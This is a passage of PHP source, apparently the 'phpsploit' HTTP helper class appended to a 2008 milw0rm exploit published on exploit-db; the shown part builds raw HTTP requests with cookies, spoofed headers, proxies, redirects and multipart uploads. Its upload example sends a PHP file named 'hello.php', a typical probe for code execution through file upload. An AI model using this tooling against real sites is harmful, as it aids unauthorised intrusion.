   $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data."\r\n";
  }
  elseif($this->method=='formdata')
  {
   $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
   $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data;
  }

  $this->packet .= "\r\n";
  $this->recv = '';

  fputs($socket,$this->packet);

  while(!feof($socket))
     $this->recv .= fgets($socket);

  fclose($socket);

  if($this->cookiejar)
     $this->getcookie();

  if($this->allowredirection)
     return $this->getredirection();
  else
     return $this->recv;
 }
 

 /**
  * This function allows you to add several
  * cookies in the request.
  * 
  * @access  public
  * @param   string cookn CookieName
  * @param   string cookv CookieValue
  * @example $this->addcookie('name','value')
  * 
  */
 function addcookie($cookn,$cookv)
 {
  if(!isset($this->cookie))
     $this->cookie = array();

  $this->cookie[$cookn] = $cookv;
 }


 /**
  * This function allows you to add several
  * headers in the request.
  *
  * @access  public
  * @param   string headern HeaderName
  * @param   string headervalue Headervalue
  * @example $this->addheader('Client-IP', '128.5.2.3')
  * 
  */
 function addheader($headern,$headervalue)
 {
  if(!isset($this->header))
     $this->header = array();
     
  $this->header[$headern] = $headervalue;
 }


 /**
  * This function allows you to use an
  * http proxy server. Several methods
  * are supported.
  * 
  * @access  public
  * @param   string proxy ProxyHost
  * @param   integer proxyp ProxyPort
  * @example $this->proxy('localhost',8118)
  * @example $this->proxy('localhost:8118')
  * 
  */
 function proxy($proxy,$proxyp='')
 {
  if(empty($proxyp))
  {
   $proxarr = explode(':',$proxy);
   $this->proxyhost = $proxarr[0];
   $this->proxyport = (int)$proxarr[1];
  }
  else 
  {
   $this->proxyhost = $proxy;
   $this->proxyport = (int)$proxyp;
  }

  if($this->proxyport > 65535)
     die("Error: Invalid port number");
 }
 

 /**
  * This function allows you to use an
  * http proxy server which requires a
  * basic authentification. Several
  * methods are supported:
  *
  * @access  public
  * @param   string proxyauth ProxyUser
  * @param   string proxypass ProxyPass
  * @example $this->proxyauth('user','pwd')
  * @example $this->proxyauth('user:pwd');
  * 
  */
 function proxyauth($proxyauth,$proxypass='')
 {
  if(empty($proxypass))
  {
   $posvirg = strpos($proxyauth,':');
   $this->proxyuser = substr($proxyauth,0,$posvirg);
   $this->proxypass = substr($proxyauth,$posvirg+1);
  }
  else
  {
   $this->proxyuser = $proxyauth;
   $this->proxypass = $proxypass;
  }
 }


 /**
  * This function allows you to set
  * the 'User-Agent' header.
  * 
  * @access  public
  * @param   string useragent Agent
  * @example $this->agent('Firefox')
  * 
  */
 function agent($useragent)
 {
  $this->addheader('User-Agent',$useragent);
 }

 
 /**
  * This function returns the headers
  * which will be in the next request.
  * 
  * @access  public
  * @return  string $this->header_str Headers
  * @example $this->showheader()
  * 
  */
 function showheader()
 {
  $this->header_str = '';
  
  if(!isset($this->header))
     return;
     
  foreach($this->header as $name => $value)
     $this->header_str .= $name.': '.$value."\r\n";
     
  return $this->header_str;
 }

 
 /**
  * This function returns the cookies
  * which will be in the next request.
  * 
  * @access  public
  * @return  string $this->cookie_str Cookies
  * @example $this->showcookie()
  * 
  */
 function showcookie()
 {
  $this->cookie_str = '';
  
  if(!isset($this->cookie))
     return;
  
  foreach($this->cookie as $name => $value)
     $this->cookie_str .= $name.'='.$value.'; ';

  return $this->cookie_str;
 }


 /**
  * This function returns the last
  * formed http request.
  * 
  * @access  public
  * @return  string $this->packet HttpPacket
  * @example $this->showlastrequest()
  * 
  */
 function showlastrequest()
 {
  if(!isset($this->packet))
     return;
  else
     return $this->packet;
 }


 /**
  * This function sends the formed
  * http packet with the GET method.
  * 
  * @access  public
  * @param   string url Url
  * @return  string $this->sock()
  * @example $this->get('localhost/index.php?var=x')
  * @example $this->get('http://localhost:88/tst.php')
  * 
  */
 function get($url)
 {
  $this->target($url);
  $this->method = 'get';
  return $this->sock();
 }

 
 /**
  * This function sends the formed
  * http packet with the POST method.
  *
  * @access  public
  * @param   string url  Url
  * @param   string data PostData
  * @return  string $this->sock()
  * @example $this->post('http://localhost/','helo=x')
  * 
  */ 
 function post($url,$data)
 {
  $this->target($url);
  $this->method = 'post';
  $this->data = $data;
  return $this->sock();
 }
 

 /**
  * This function sends the formed http
  * packet with the POST method using
  * the multipart/form-data enctype.
  * 
  * @access  public
  * @param   array array FormDataArray
  * @return  string $this->sock()
  * @example $formdata = array(
  *                      frmdt_url => 'http://localhost/upload.php',
  *                      frmdt_boundary => '123456', # Optional
  *                      'var' => 'example',
  *                      'file' => array(
  *                                frmdt_type => 'image/gif',  # Optional
  *                                frmdt_transfert => 'binary' # Optional
  *                                frmdt_filename => 'hello.php,
  *                                frmdt_content => '<?php echo 1; ?>'));
  *          $this->formdata($formdata);
  * 
  */
 function formdata($array)
 {
  $this->target($array[frmdt_url]);
  $this->method = 'formdata';
  $this->data = '';
  
  if(!isset($array[frmdt_boundary]))
     $this->boundary = 'phpsploit';
  else
     $this->boundary = $array[frmdt_boundary];

  foreach($array as $key => $value)
  {
   if(!preg_match('#^frmdt_(boundary|url)#',$key))
   {
    $this->data .= str_repeat('-',29).$this->boundary."\r\n";
    $this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
    
    if(!is_array($value))
    {
     $this->data .= "\r\n\r\n".$value."\r\n";
    }
    else
    {
     $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

     if(isset($array[$key][frmdt_type]))
        $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

     if(isset($array[$key][frmdt_transfert]))
        $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

     $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
    }
   }
  }

  $this->data .= str_repeat('-',29).$this->boundary."--\r\n";
  return $this->sock();
 }

 
 /**
  * This function returns the content
  * of the server response, without
  * the headers.
  * 
  * @access  public
  * @param   string code ServerResponse
  * @return  string $this->server_content
  * @example $this->getcontent()
  * @example $this->getcontent($this->get('http://localhost/'))
  * 
  */
 function getcontent($code='')
 {
  if(empty($code))
     $code = $this->recv;

  $code = explode("\r\n\r\n",$code);
  $this->server_content = '';
  
  for($i=1;$i<count($code);$i++)
     $this->server_content .= $code[$i];

  return $this->server_content;
 }

 
 /**
  * This function returns the headers
  * of the server response, without
  * the content.
  * 
  * @access  public
  * @param   string code ServerResponse
  * @return  string $this->server_header
  * @example $this->getcontent()
  * @example $this->getcontent($this->post('http://localhost/','1=2'))
  * 
  */
 function getheader($code='')
 {
  if(empty($code))
     $code = $this->recv;

  $code = explode("\r\n\r\n",$code);
  $this->server_header = $code[0];
  
  return $this->server_header;
 }

 
 /**
  * This function is called by the
  * cookiejar() function. It adds the
  * value of the "Set-Cookie" header
  * in the "Cookie" header for the
  * next request. You don't have to
  * call it.
  * 
  * @access private
  * @param  string code ServerResponse
  * 
  */
 function getcookie()
 {
  foreach(explode("\r\n",$this->getheader()) as $header)
  {
   if(preg_match('/set-cookie/i',$header))
   {
    $fequal = strpos($header,'=');
    $fvirgu = strpos($header,';');
    
    // 12=strlen('set-cookie: ')
    $cname  = substr($header,12,$fequal-12);
    $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
    
    $this->cookie[trim($cname)] = trim($cvalu);
   }
  }
 }


 /**
  * This function is called by the
  * get()/post() functions. You
  * don't have to call it.
  *
  * @access  private
  * @param   string urltarg Url
  * @example $this->target('http://localhost/')
  * 
  */
 function target($urltarg)
 {
  if(!ereg('^http://',$urltarg))
     $urltarg = 'http://'.$urltarg;
     
  $urlarr     = parse_url($urltarg);
  $this->url  = 'http://'.$urlarr['host'].$urlarr['path'];
  
  if(isset($urlarr['query']))
     $this->url .= '?'.$urlarr['query'];
  
  $this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
  $this->host = $urlarr['host'];
  
  if($this->port != '80')
     $this->host .= ':'.$this->port;

  if(!isset($urlarr['path']) or empty($urlarr['path']))
     die("Error: No path precised");

  $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

  if($this->port > 65535)
     die("Error: Invalid port number");
 }
 
 
 /**
  * If you call this function,
  * the script will extract all
  * 'Set-Cookie' headers values
  * and it will automatically add
  * them into the 'Cookie' header
  * for all next requests.
  *
  * @access  public
  * @param   integer code 1(enabled) 0(disabled)
  * @example $this->cookiejar(0)
  * @example $this->cookiejar(1)
  * 
  */
 function cookiejar($code)
 {
  if($code=='0')
     $this->cookiejar=FALSE;

  elseif($code=='1')
     $this->cookiejar=TRUE;
 }


 /**
  * If you call this function,
  * the script will follow all
  * redirections sent by the server.
  * 
  * @access  public
  * @param   integer code 1(enabled) 0(disabled)
  * @example $this->allowredirection(0)
  * @example $this->allowredirection(1)
  * 
  */
 function allowredirection($code)
 {
  if($code=='0')
     $this->allowredirection=FALSE;
     
  elseif($code=='1')
     $this->allowredirection=TRUE;
 }

 
 /**
  * This function is called if
  * allowredirection() is enabled.
  * You don't have to call it.
  *
  * @access private
  * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
  * @return string $this->get($this->last_redirection)
  * @return string $this->recv;
  * 
  */
 function getredirection()
 {
  if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
  {
   $this->last_redirection = trim($codearr[2]);
   
   if(!ereg('://',$this->last_redirection))
      return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

   else
      return $this->get($this->last_redirection);
  }
  else
     return $this->recv;
 }


 /**
  * This function allows you
  * to reset some parameters.
  * 
  * @access  public
  * @param   string func Param
  * @example $this->reset('header')
  * @example $this->reset('cookie')
  * @example $this->reset()
  * 
  */
 function reset($func='')
 {
  switch($func)
  {
   case 'header':
   $this->header = array();
   break;
    
   case 'cookie':
   $this->cookie = array();
   break;
    
   default:
   $this->cookiejar = '';
   $this->header = array();
   $this->cookie = array();
   $this->allowredirection = '';
   break;
  }
 }
}

?>

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6749